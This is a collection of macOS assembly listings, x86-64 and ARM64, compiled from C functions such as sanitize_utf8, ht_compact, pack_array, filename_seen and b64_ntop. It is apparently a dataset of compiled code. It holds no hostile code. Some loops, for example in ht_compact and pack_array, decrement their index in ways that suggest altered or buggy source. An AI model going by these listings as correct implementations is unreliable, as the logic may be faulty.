.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function sanitize_utf8 _sanitize_utf8: ; @sanitize_utf8 .cfi_startproc ; %bb.0: sub sp, sp, #144 stp x28, x27, [sp, #48] ; 16-byte Folded Spill stp x26, x25, [sp, #64] ; 16-byte Folded Spill stp x24, x23, [sp, #80] ; 16-byte Folded Spill stp x22, x21, [sp, #96] ; 16-byte Folded Spill stp x20, x19, [sp, #112] ; 16-byte Folded Spill stp x29, x30, [sp, #128] ; 16-byte Folded Spill add x29, sp, #128 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x19, x1 mov x20, x0 mov w22, #128 ; =0x80 stp wzr, w22, [sp, #40] sub w0, w1, #1 mov w1, #1 ; =0x1 bl _xcalloc mov x21, x0 tbnz w19, #31, LBB0_26 ; %bb.1: mov w23, #0 ; =0x0 mov w26, #0 ; =0x0 mov w25, #0 ; =0x0 add x8, x20, #32 str x8, [sp, #8] ; 8-byte Folded Spill add x24, x21, #32 mov w8, #1 ; =0x1 dup.2d v5, x8 mov w27, #128 ; =0x80 str q5, [sp, #16] ; 16-byte Folded Spill b LBB0_4 LBB0_2: ; in Loop: Header=BB0_4 Depth=1 add w23, w23, #1 LBB0_3: ; in Loop: Header=BB0_4 Depth=1 ldr w27, [sp, #44] add w8, w25, #1 cmp w25, w19 mov x25, x8 b.ge LBB0_26 LBB0_4: ; =>This Loop Header: Depth=1 ; Child Loop BB0_10 Depth 2 ; Child Loop BB0_13 Depth 2 ; Child Loop BB0_19 Depth 2 ; Child Loop BB0_21 Depth 2 sxtw x28, w25 ldrb w2, [x20, x28] add x0, sp, #44 add x1, sp, #40 bl _utf8_decode cmp w0, #128 b.eq LBB0_15 ; %bb.5: ; in Loop: Header=BB0_4 Depth=1 cmp w0, #129 b.ne LBB0_2 ; %bb.6: ; in Loop: Header=BB0_4 Depth=1 cbz w23, LBB0_24 ; %bb.7: ; in Loop: Header=BB0_4 Depth=1 cmp w23, #1 b.lt LBB0_25 ; %bb.8: ; in Loop: Header=BB0_4 Depth=1 sub w28, w25, w23 sxtw x26, w26 add w8, w28, #1 cmp w25, w8 csinc w8, w25, w28, gt add w8, w23, w8 sub w23, w8, w25 sub w8, w23, #1 add x0, x21, x26 add x2, x8, #1 mov w1, #63 ; =0x3f bl _memset cmp w23, #8 b.lo LBB0_12 ; %bb.9: ; in Loop: Header=BB0_4 Depth=1 and w8, w23, #0xfffffff8 add w28, w28, w8 movi.2d v0, #0000000000000000 movi.2d v1, #0000000000000000 mov.d v1[0], x26 mov x9, x8 movi.2d v2, #0000000000000000 movi.2d v3, #0000000000000000 ldr q5, [sp, #16] ; 16-byte Folded Reload LBB0_10: ; Parent Loop BB0_4 Depth=1 ; => This Inner Loop Header: Depth=2 add.2d v0, v0, v5 add.2d v1, v1, v5 add.2d v3, v3, v5 add.2d v2, v2, v5 subs w9, w9, #8 b.ne LBB0_10 ; %bb.11: ; in Loop: Header=BB0_4 Depth=1 zip2.2d v4, v2, v3 zip1.2d v2, v2, v3 addp.2d v0, v1, v0 add.2d v0, v2, v0 add.2d v0, v4, v0 addp.2d d0, v0 fmov x26, d0 cmp w23, w8 b.eq LBB0_14 LBB0_12: ; in Loop: Header=BB0_4 Depth=1 add w8, w28, #1 cmp w25, w8 csinc w8, w25, w28, gt mvn w9, w28 add w8, w9, w8 add x8, x26, x8 add x26, x8, #1 LBB0_13: ; Parent Loop BB0_4 Depth=1 ; => This Inner Loop Header: Depth=2 add w28, w28, #1 cmp w28, w25 b.lt LBB0_13 LBB0_14: ; in Loop: Header=BB0_4 Depth=1 ; kill: def $w26 killed $w26 killed $x26 def $x26 b LBB0_25 LBB0_15: ; in Loop: Header=BB0_4 Depth=1 cmp w23, #1 b.lt LBB0_23 ; %bb.16: ; in Loop: Header=BB0_4 Depth=1 sub w8, w25, w23 sxtw x8, w8 ; kill: def $w26 killed $w26 killed $x26 def $x26 sxtw x10, w26 add x9, x8, #1 cmp x9, x28 csinc x9, x28, x8, le sub x9, x9, x8 cmp x9, #64 b.lo LBB0_21 ; %bb.17: ; in Loop: Header=BB0_4 Depth=1 add x11, x21, x10 add x12, x20, x8 sub x11, x11, x12 cmp x11, #64 b.lo LBB0_21 ; %bb.18: ; in Loop: Header=BB0_4 Depth=1 and x11, x9, #0xffffffffffffffc0 add x26, x11, x10 add x12, x11, x8 ldr x13, [sp, #8] ; 8-byte Folded Reload add x8, x13, x8 add x10, x24, x10 mov x13, x11 LBB0_19: ; Parent Loop BB0_4 Depth=1 ; => This Inner Loop Header: Depth=2 ldp q0, q1, [x8, #-32] ldp q2, q3, [x8], #64 stp q0, q1, [x10, #-32] stp q2, q3, [x10], #64 subs x13, x13, #64 b.ne LBB0_19 ; %bb.20: ; in Loop: Header=BB0_4 Depth=1 mov x10, x26 mov x8, x12 cmp x9, x11 b.eq LBB0_22 LBB0_21: ; Parent Loop BB0_4 Depth=1 ; => This Inner Loop Header: Depth=2 ldrb w9, [x20, x8] add x26, x10, #1 strb w9, [x21, x10] add x8, x8, #1 mov x10, x26 cmp x8, x28 b.lt LBB0_21 LBB0_22: ; in Loop: Header=BB0_4 Depth=1 ; kill: def $w26 killed $w26 killed $x26 def $x26 LBB0_23: ; in Loop: Header=BB0_4 Depth=1 mov w23, #0 ; =0x0 ldrb w8, [x20, x28] strb w8, [x21, w26, sxtw] add w8, w26, #1 mov x26, x8 b LBB0_3 LBB0_24: ; in Loop: Header=BB0_4 Depth=1 mov w8, #63 ; =0x3f strb w8, [x21, w26, sxtw] add w8, w26, #1 mov x26, x8 LBB0_25: ; in Loop: Header=BB0_4 Depth=1 mov w23, #0 ; =0x0 str w22, [sp, #44] cmp w27, #128 cset w8, ne sub w25, w25, w8 b LBB0_3 LBB0_26: mov x0, x21 ldp x29, x30, [sp, #128] ; 16-byte Folded Reload ldp x20, x19, [sp, #112] ; 16-byte Folded Reload ldp x22, x21, [sp, #96] ; 16-byte Folded Reload ldp x24, x23, [sp, #80] ; 16-byte Folded Reload ldp x26, x25, [sp, #64] ; 16-byte Folded Reload ldp x28, x27, [sp, #48] ; 16-byte Folded Reload add sp, sp, #144 ret .cfi_endproc ; -- End function .no_dead_strip _sanitize_utf8 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function ht_compact _ht_compact: ## @ht_compact .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, -48(%rbp) ## 8-byte Spill testq %rsi, %rsi je LBB0_21 ## %bb.1: movq %rsi, %r12 movq 16(%rsi), %rax movq 32(%rsi), %r15 testq %rax, %rax je LBB0_3 ## %bb.2: movq (%r12), %rcx cmpq (%rax), %rcx je LBB0_22 LBB0_3: testq %r15, %r15 je LBB0_4 ## %bb.5: movq %r12, -56(%rbp) ## 8-byte Spill xorl %r12d, %r12d ## implicit-def: $r14 xorl %r13d, %r13d jmp LBB0_6 .p2align 4, 0x90 LBB0_16: ## in Loop: Header=BB0_6 Depth=1 movq 8(%r15), %r15 testq %r15, %r15 je LBB0_17 LBB0_6: ## =>This Loop Header: Depth=1 ## Child Loop BB0_7 Depth 2 xorl %ebx, %ebx jmp LBB0_7 .p2align 4, 0x90 LBB0_10: ## in Loop: Header=BB0_7 Depth=2 testq %r13, %r13 cmoveq %r15, %r13 cmoveq %rbx, %r14 LBB0_15: ## in Loop: Header=BB0_7 Depth=2 decq %rbx cmpq (%r15), %rbx ja LBB0_16 LBB0_7: ## Parent Loop BB0_6 Depth=1 ## => This Inner Loop Header: Depth=2 movq 16(%r15), %rax movl (%rax,%rbx,4), %edi cmpq $0, 8(%r15) jne LBB0_9 ## %bb.8: ## in Loop: Header=BB0_7 Depth=2 movq -56(%rbp), %rax ## 8-byte Reload cmpq 8(%rax), %rbx jae LBB0_17 LBB0_9: ## in Loop: Header=BB0_7 Depth=2 callq _mrb_undef_p testq %rax, %rax jne LBB0_10 ## %bb.11: ## in Loop: Header=BB0_7 Depth=2 incq %r12 testq %r13, %r13 je LBB0_12 ## %bb.13: ## in Loop: Header=BB0_7 Depth=2 movq 16(%r13), %rax movq 16(%r15), %rcx movl (%rcx,%rbx,4), %ecx movl %ecx, (%rax,%r14,4) incq %r14 cmpq (%r13), %r14 jb LBB0_15 ## %bb.14: ## in Loop: Header=BB0_7 Depth=2 movq 8(%r13), %r13 xorl %r14d, %r14d jmp LBB0_15 LBB0_12: ## in Loop: Header=BB0_7 Depth=2 xorl %r13d, %r13d jmp LBB0_15 LBB0_17: movq -56(%rbp), %rax ## 8-byte Reload movq %r12, (%rax) movq %rax, %r12 testq %r13, %r13 movq -48(%rbp), %r15 ## 8-byte Reload je LBB0_20 ## %bb.18: movq 8(%r13), %rsi movq $0, 8(%r13) movq %r14, 8(%r12) movq %r13, 24(%r12) testq %rsi, %rsi je LBB0_20 .p2align 4, 0x90 LBB0_19: ## =>This Inner Loop Header: Depth=1 movq 8(%rsi), %rbx movq %r15, %rdi callq _mrb_free movq %rbx, %rsi testq %rbx, %rbx jne LBB0_19 LBB0_20: cmpq $0, 16(%r12) je LBB0_21 LBB0_22: movq -48(%rbp), %rdi ## 8-byte Reload movq %r12, %rsi addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp jmp _ht_index ## TAILCALL LBB0_4: movq $0, (%r12) cmpq $0, 16(%r12) jne LBB0_22 LBB0_21: addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .no_dead_strip _ht_compact .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function ht_compact _ht_compact: ; @ht_compact .cfi_startproc ; %bb.0: stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 cbz x1, LBB0_22 ; %bb.1: mov x19, x1 mov x20, x0 ldr x21, [x1, #32] ldr x8, [x1, #16] cbz x8, LBB0_3 ; %bb.2: ldr x9, [x19] ldr x8, [x8] cmp x9, x8 b.eq LBB0_20 LBB0_3: cbz x21, LBB0_21 ; %bb.4: mov x23, #0 ; =0x0 mov x22, #0 ; =0x0 ; implicit-def: $x24 b LBB0_6 LBB0_5: ; in Loop: Header=BB0_6 Depth=1 ldr x21, [x21, #8] cbz x21, LBB0_16 LBB0_6: ; =>This Loop Header: Depth=1 ; Child Loop BB0_9 Depth 2 mov x25, #0 ; =0x0 b LBB0_9 LBB0_7: ; in Loop: Header=BB0_9 Depth=2 cmp x22, #0 csel x22, x21, x22, eq csel x24, x25, x24, eq LBB0_8: ; in Loop: Header=BB0_9 Depth=2 sub x25, x25, #1 ldr x8, [x21] cmp x25, x8 b.hi LBB0_5 LBB0_9: ; Parent Loop BB0_6 Depth=1 ; => This Inner Loop Header: Depth=2 ldp x9, x8, [x21, #8] ldr w0, [x8, x25, lsl #2] cbnz x9, LBB0_11 ; %bb.10: ; in Loop: Header=BB0_9 Depth=2 ldr x8, [x19, #8] cmp x25, x8 b.hs LBB0_16 LBB0_11: ; in Loop: Header=BB0_9 Depth=2 bl _mrb_undef_p cbnz x0, LBB0_7 ; %bb.12: ; in Loop: Header=BB0_9 Depth=2 add x23, x23, #1 cbz x22, LBB0_8 ; %bb.13: ; in Loop: Header=BB0_9 Depth=2 ldr x9, [x22, #16] add x8, x24, #1 ldr x10, [x21, #16] ldr w10, [x10, x25, lsl #2] str w10, [x9, x24, lsl #2] ldr x9, [x22] cmp x8, x9 b.hs LBB0_15 ; %bb.14: ; in Loop: Header=BB0_9 Depth=2 mov x24, x8 b LBB0_8 LBB0_15: ; in Loop: Header=BB0_9 Depth=2 mov x24, #0 ; =0x0 ldr x22, [x22, #8] b LBB0_8 LBB0_16: str x23, [x19] cbz x22, LBB0_19 ; %bb.17: ldr x1, [x22, #8] str xzr, [x22, #8] str x24, [x19, #8] str x22, [x19, #24] cbz x1, LBB0_19 LBB0_18: ; =>This Inner Loop Header: Depth=1 ldr x21, [x1, #8] mov x0, x20 bl _mrb_free mov x1, x21 cbnz x21, LBB0_18 LBB0_19: ldr x8, [x19, #16] cbz x8, LBB0_22 LBB0_20: mov x0, x20 mov x1, x19 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload ldp x26, x25, [sp], #80 ; 16-byte Folded Reload b _ht_index LBB0_21: str xzr, [x19] ldr x8, [x19, #16] cbnz x8, LBB0_20 LBB0_22: ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload ldp x26, x25, [sp], #80 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .no_dead_strip _ht_compact .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _pack_array ## -- Begin function pack_array .p2align 4, 0x90 _pack_array: ## @pack_array .cfi_startproc ## %bb.0: testl %esi, %esi js LBB0_20 ## %bb.1: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %esi, %ebx movq %rdi, %r14 leal -2(%rbx), %r15d leaq 8(%rdi), %r12 xorl %eax, %eax jmp LBB0_2 .p2align 4, 0x90 LBB0_18: ## in Loop: Header=BB0_2 Depth=1 decl %eax cmpl %ebx, %eax jg LBB0_19 LBB0_2: ## =>This Loop Header: Depth=1 ## Child Loop BB0_11 Depth 2 movslq %eax, %rcx cmpq $0, (%r14,%rcx,8) jne LBB0_18 ## %bb.3: ## in Loop: Header=BB0_2 Depth=1 leal 1(%rax), %edx cmpl %ebx, %edx jge LBB0_16 ## %bb.4: ## in Loop: Header=BB0_2 Depth=1 movl %eax, %esi subl %ebx, %esi testb $1, %sil jne LBB0_5 ## %bb.6: ## in Loop: Header=BB0_2 Depth=1 movq 8(%r14,%rcx,8), %rsi movl %eax, %edi testq %rsi, %rsi je LBB0_8 ## %bb.7: ## in Loop: Header=BB0_2 Depth=1 movq %rsi, (%r14,%rcx,8) movl %edx, %edi LBB0_8: ## in Loop: Header=BB0_2 Depth=1 addq $2, %rcx jmp LBB0_9 LBB0_5: ## in Loop: Header=BB0_2 Depth=1 incq %rcx movl %eax, %edi LBB0_9: ## in Loop: Header=BB0_2 Depth=1 cmpl %eax, %r15d movl %edi, %eax jne LBB0_10 LBB0_16: ## in Loop: Header=BB0_2 Depth=1 cmpl %ebx, %eax jge LBB0_18 ## %bb.17: ## in Loop: Header=BB0_2 Depth=1 movslq %eax, %rcx leaq (%r14,%rcx,8), %rdi notl %eax addl %ebx, %eax leaq 8(,%rax,8), %rsi callq ___bzero movl %ebx, %eax jmp LBB0_18 LBB0_10: ## in Loop: Header=BB0_2 Depth=1 leaq (%r12,%rcx,8), %rdx movl %ebx, %esi subl %ecx, %esi xorl %ecx, %ecx movl %edi, %eax jmp LBB0_11 .p2align 4, 0x90 LBB0_15: ## in Loop: Header=BB0_11 Depth=2 addq $2, %rcx cmpl %ecx, %esi je LBB0_16 LBB0_11: ## Parent Loop BB0_2 Depth=1 ## => This Inner Loop Header: Depth=2 movq -8(%rdx,%rcx,8), %rdi testq %rdi, %rdi je LBB0_13 ## %bb.12: ## in Loop: Header=BB0_11 Depth=2 movslq %eax, %r8 incl %eax movq %rdi, (%r14,%r8,8) LBB0_13: ## in Loop: Header=BB0_11 Depth=2 movq (%rdx,%rcx,8), %rdi testq %rdi, %rdi je LBB0_15 ## %bb.14: ## in Loop: Header=BB0_11 Depth=2 movslq %eax, %r8 incl %eax movq %rdi, (%r14,%r8,8) jmp LBB0_15 LBB0_19: popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp LBB0_20: retq .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _pack_array ; -- Begin function pack_array .p2align 2 _pack_array: ; @pack_array .cfi_startproc ; %bb.0: tbnz w1, #31, LBB0_12 ; %bb.1: stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x19, x1 mov x20, x0 mov w8, #0 ; =0x0 add x21, x0, #8 sub w22, w1, #1 b LBB0_3 LBB0_2: ; in Loop: Header=BB0_3 Depth=1 sub w8, w8, #1 cmp w8, w19 b.gt LBB0_11 LBB0_3: ; =>This Loop Header: Depth=1 ; Child Loop BB0_7 Depth 2 ldr x9, [x20, w8, sxtw #3] cbnz x9, LBB0_2 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 add w9, w8, #1 cmp w9, w19 b.ge LBB0_9 ; %bb.5: ; in Loop: Header=BB0_3 Depth=1 sxtw x9, w8 add x9, x21, x9, lsl #3 sub w10, w22, w8 b LBB0_7 LBB0_6: ; in Loop: Header=BB0_7 Depth=2 add x9, x9, #8 subs w10, w10, #1 b.eq LBB0_9 LBB0_7: ; Parent Loop BB0_3 Depth=1 ; => This Inner Loop Header: Depth=2 ldr x11, [x9] cbz x11, LBB0_6 ; %bb.8: ; in Loop: Header=BB0_7 Depth=2 str x11, [x20, w8, sxtw #3] add w8, w8, #1 ; kill: def $w8 killed $w8 def $x8 b LBB0_6 LBB0_9: ; in Loop: Header=BB0_3 Depth=1 cmp w8, w19 b.ge LBB0_2 ; %bb.10: ; in Loop: Header=BB0_3 Depth=1 add x0, x20, w8, sxtw #3 mvn w8, w8 add w8, w8, w19 ubfiz x8, x8, #3, #32 add x1, x8, #8 bl _bzero mov x8, x19 b LBB0_2 LBB0_11: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload ldp x22, x21, [sp], #48 ; 16-byte Folded Reload LBB0_12: ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function filename_seen _filename_seen: ## @filename_seen .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r12 pushq %rbx .cfi_offset %rbx, -48 .cfi_offset %r12, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %esi, %r14d movq %rdi, %rbx cmpl $0, (%rdx) movq _filename_seen.tab(%rip), %r12 je LBB0_9 ## %bb.1: xorl %r15d, %r15d testq %r12, %r12 je LBB0_2 ## %bb.3: movl _filename_seen.tab_alloc_size(%rip), %edi shll $3, %edi callq _xmalloc movq %rax, _filename_seen.tab(%rip) jmp LBB0_4 LBB0_9: movl _filename_seen.tab_cur_size(%rip), %r15d testl %r15d, %r15d jle LBB0_10 .p2align 4, 0x90 LBB0_12: ## =>This Inner Loop Header: Depth=1 movq (%r12), %rdi movq %rbx, %rsi callq _strcmp testq %rax, %rax je LBB0_13 ## %bb.11: ## in Loop: Header=BB0_12 Depth=1 addq $-8, %r12 movq _filename_seen.tab(%rip), %rax movslq _filename_seen.tab_cur_size(%rip), %r15 leaq (%rax,%r15,8), %rcx cmpq %rcx, %r12 jb LBB0_12 jmp LBB0_5 LBB0_2: xorl %eax, %eax LBB0_4: movl $0, _filename_seen.tab_cur_size(%rip) LBB0_5: xorl %r12d, %r12d testl %r14d, %r14d je LBB0_14 ## %bb.6: cmpl _filename_seen.tab_alloc_size(%rip), %r15d jne LBB0_8 ## %bb.7: leal (%r15,%r15), %ecx movl %ecx, _filename_seen.tab_alloc_size(%rip) shll $4, %r15d movq %rax, %rdi movl %r15d, %esi callq _xrealloc movq %rax, _filename_seen.tab(%rip) movl _filename_seen.tab_cur_size(%rip), %r15d LBB0_8: leal 1(%r15), %ecx movl %ecx, _filename_seen.tab_cur_size(%rip) movslq %r15d, %rcx movq %rbx, (%rax,%rcx,8) LBB0_14: movl %r12d, %eax popq %rbx popq %r12 popq %r14 popq %r15 popq %rbp retq LBB0_10: movq %r12, %rax jmp LBB0_5 LBB0_13: movl $1, %r12d jmp LBB0_14 .cfi_endproc ## -- End function .zerofill __DATA,__bss,_filename_seen.tab,8,3 ## @filename_seen.tab .section __DATA,__data .p2align 2, 0x0 ## @filename_seen.tab_alloc_size _filename_seen.tab_alloc_size: .long 29 ## 0x1d .zerofill __DATA,__bss,_filename_seen.tab_cur_size,4,2 ## @filename_seen.tab_cur_size .no_dead_strip _filename_seen .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function filename_seen _filename_seen: ; @filename_seen .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x21, x1 mov x19, x0 ldr w8, [x2] adrp x23, _filename_seen.tab@PAGE ldr x20, [x23, _filename_seen.tab@PAGEOFF] adrp x22, _filename_seen.tab_cur_size@PAGE cbz w8, LBB0_8 ; %bb.1: cbz x20, LBB0_3 ; %bb.2: Lloh0: adrp x8, _filename_seen.tab_alloc_size@PAGE Lloh1: ldr w8, [x8, _filename_seen.tab_alloc_size@PAGEOFF] lsl w0, w8, #3 bl _xmalloc mov x20, x0 str x0, [x23, _filename_seen.tab@PAGEOFF] LBB0_3: mov w8, #0 ; =0x0 str wzr, [x22, _filename_seen.tab_cur_size@PAGEOFF] LBB0_4: cbz w21, LBB0_12 ; %bb.5: adrp x9, _filename_seen.tab_alloc_size@PAGE ldr w10, [x9, _filename_seen.tab_alloc_size@PAGEOFF] cmp w8, w10 b.ne LBB0_7 ; %bb.6: lsl w10, w8, #1 str w10, [x9, _filename_seen.tab_alloc_size@PAGEOFF] lsl w1, w8, #4 mov x0, x20 bl _xrealloc mov x20, x0 str x0, [x23, _filename_seen.tab@PAGEOFF] ldr w8, [x22, _filename_seen.tab_cur_size@PAGEOFF] LBB0_7: mov w0, #0 ; =0x0 add w9, w8, #1 str w9, [x22, _filename_seen.tab_cur_size@PAGEOFF] str x19, [x20, w8, sxtw #3] b LBB0_14 LBB0_8: ldr w8, [x22, _filename_seen.tab_cur_size@PAGEOFF] cmp w8, #1 b.lt LBB0_4 LBB0_9: ; =>This Inner Loop Header: Depth=1 ldr x0, [x20] mov x1, x19 bl _strcmp cbz x0, LBB0_13 ; %bb.10: ; in Loop: Header=BB0_9 Depth=1 sub x20, x20, #8 ldr x9, [x23, _filename_seen.tab@PAGEOFF] ldrsw x8, [x22, _filename_seen.tab_cur_size@PAGEOFF] add x10, x9, x8, lsl #3 cmp x20, x10 b.lo LBB0_9 ; %bb.11: mov x20, x9 b LBB0_4 LBB0_12: mov w0, #0 ; =0x0 b LBB0_14 LBB0_13: mov w0, #1 ; =0x1 LBB0_14: ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret .loh AdrpLdr Lloh0, Lloh1 .cfi_endproc ; -- End function .zerofill __DATA,__bss,_filename_seen.tab,8,3 ; @filename_seen.tab .section __DATA,__data .p2align 2, 0x0 ; @filename_seen.tab_alloc_size _filename_seen.tab_alloc_size: .long 29 ; 0x1d .zerofill __DATA,__bss,_filename_seen.tab_cur_size,4,2 ; @filename_seen.tab_cur_size .no_dead_strip _filename_seen .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _b64_ntop ## -- Begin function b64_ntop .p2align 4, 0x90 _b64_ntop: ## @b64_ntop .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $40, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rcx, -64(%rbp) ## 8-byte Spill movq %rdx, -48(%rbp) ## 8-byte Spill movq %rdi, -56(%rbp) ## 8-byte Spill cmpq $2, %rsi jb LBB0_1 ## %bb.2: xorl %r13d, %r13d .p2align 4, 0x90 LBB0_3: ## =>This Inner Loop Header: Depth=1 movq %rsi, -72(%rbp) ## 8-byte Spill movq -56(%rbp), %rcx ## 8-byte Reload movl -4(%rcx,%r13), %eax movl (%rcx,%r13), %r15d movl %r15d, %ebx sarl $2, %ebx movl %r15d, %ecx shll $4, %ecx orl $48, %ecx movl %eax, %r14d sarl $4, %r14d addl %ecx, %r14d andl $15, %eax movl %r15d, %ecx sarl $6, %ecx leal (%rcx,%rax,4), %r12d xorl %edi, %edi cmpl $64, %ebx setl %dil callq _Assert xorl %edi, %edi cmpl $64, %r14d setl %dil callq _Assert xorl %edi, %edi cmpl $64, %r12d setl %dil callq _Assert movl $1, %edi callq _Assert leaq 4(%r13), %rdi cmpq -64(%rbp), %rdi ## 8-byte Folded Reload ja LBB0_4 ## %bb.5: ## in Loop: Header=BB0_3 Depth=1 andl $63, %r15d movq -72(%rbp), %rsi ## 8-byte Reload addq $-3, %rsi movq _Base64@GOTPCREL(%rip), %r8 movq (%r8), %rax movslq %ebx, %rcx movzbl (%rax,%rcx), %eax movq -48(%rbp), %rdx ## 8-byte Reload movb %al, (%rdx,%r13) movq (%r8), %rax movslq %r14d, %rcx movzbl (%rax,%rcx), %eax movb %al, 1(%rdx,%r13) movq (%r8), %rax movslq %r12d, %rcx movzbl (%rax,%rcx), %eax movb %al, 2(%rdx,%r13) movq (%r8), %rax movzbl (%rax,%r15), %eax movb %al, 3(%rdx,%r13) movq %rdi, %r13 cmpq $1, %rsi ja LBB0_3 ## %bb.6: addq %rdi, -56(%rbp) ## 8-byte Folded Spill testq %rsi, %rsi jne LBB0_9 LBB0_8: movq %rdi, %rcx jmp LBB0_11 LBB0_1: xorl %edi, %edi testq %rsi, %rsi je LBB0_8 LBB0_9: movq -56(%rbp), %rax ## 8-byte Reload movl (%rax), %ebx movl %ebx, %r14d sarl $2, %r14d movq %rdi, %r15 xorl %edi, %edi cmpl $64, %r14d setl %dil callq _Assert movl $1, %edi callq _Assert movl $1, %edi callq _Assert leaq 4(%r15), %rcx movl $-1, %eax cmpq -64(%rbp), %rcx ## 8-byte Folded Reload ja LBB0_13 ## %bb.10: shll $4, %ebx andl $48, %ebx movq _Base64@GOTPCREL(%rip), %rax movq (%rax), %rdx movslq %r14d, %rsi movzbl (%rdx,%rsi), %edx movq -48(%rbp), %rsi ## 8-byte Reload movb %dl, (%rsi,%r15) movq (%rax), %rax movzbl (%rax,%rbx), %eax movb %al, 1(%rsi,%r15) movq _Pad64@GOTPCREL(%rip), %rax movzbl (%rax), %eax movb %al, 2(%rsi,%r15) movb %al, 3(%rsi,%r15) LBB0_11: movl $-1, %eax cmpq -64(%rbp), %rcx ## 8-byte Folded Reload jae LBB0_13 ## %bb.12: movq -48(%rbp), %rax ## 8-byte Reload movb $0, (%rax,%rcx) movl %ecx, %eax jmp LBB0_13 LBB0_4: movl $-1, %eax LBB0_13: addq $40, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _Base64,8,3 ## @Base64 .comm _Pad64,1,0 ## @Pad64 .subsections_via_symbols
